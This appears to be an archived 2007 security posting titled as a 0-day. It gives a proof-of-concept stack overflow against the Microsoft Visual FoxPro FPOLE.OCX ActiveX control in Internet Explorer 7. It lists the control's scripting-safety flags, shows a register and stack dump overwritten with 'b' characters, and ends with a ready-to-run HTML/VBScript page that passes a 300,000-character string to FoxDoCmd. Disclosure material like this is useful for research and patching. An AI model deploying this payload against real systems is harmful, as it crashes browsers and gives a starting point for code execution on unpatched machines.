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msvisfoxpro-dos.txt

Posted on 07 September 2007

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------
<b>0-day: Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0) Remote Stack Overflow</b>
url: http://www.microsoft.com

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

This control is marked as:
<b>RegKey Safe for Script: Falso
RegKey Safe for Init: Falso
Implements IObjectSafety: Vero
IDisp Safe:  Safe for untrusted: caller
KillBitSet: Falso</b>

This is a dump:
<b>registers:

EAX 000287C4
ECX 017923C8
EDX 017FC60D ASCII "bbbbbbbbbbbb..."
EBX 04E51ED8
ESP 017FC3C0
EBP 017FC5FC
ESI 000493E1
EDI 7C80BDB6 kernel32.lstrlenA

EIP 04E46807 FPOLE.04E46807

*********************************************

stack:
[...]
017FC60C  |62626262
017FC610  |62626262
017FC614  |62626262
017FC618  |62626262
017FC61C  |62626262
[...]</b>

so I think code execution is possible even if, in this moment of my life, I really have no time to
investigate :)
-----------------------------------------------------------------------------------------------------------

<object classid='clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
buff = String(300000, "b")
test.FoxDoCmd buff, 1
End Sub
</script>
</span></span>
</code></pre>

 

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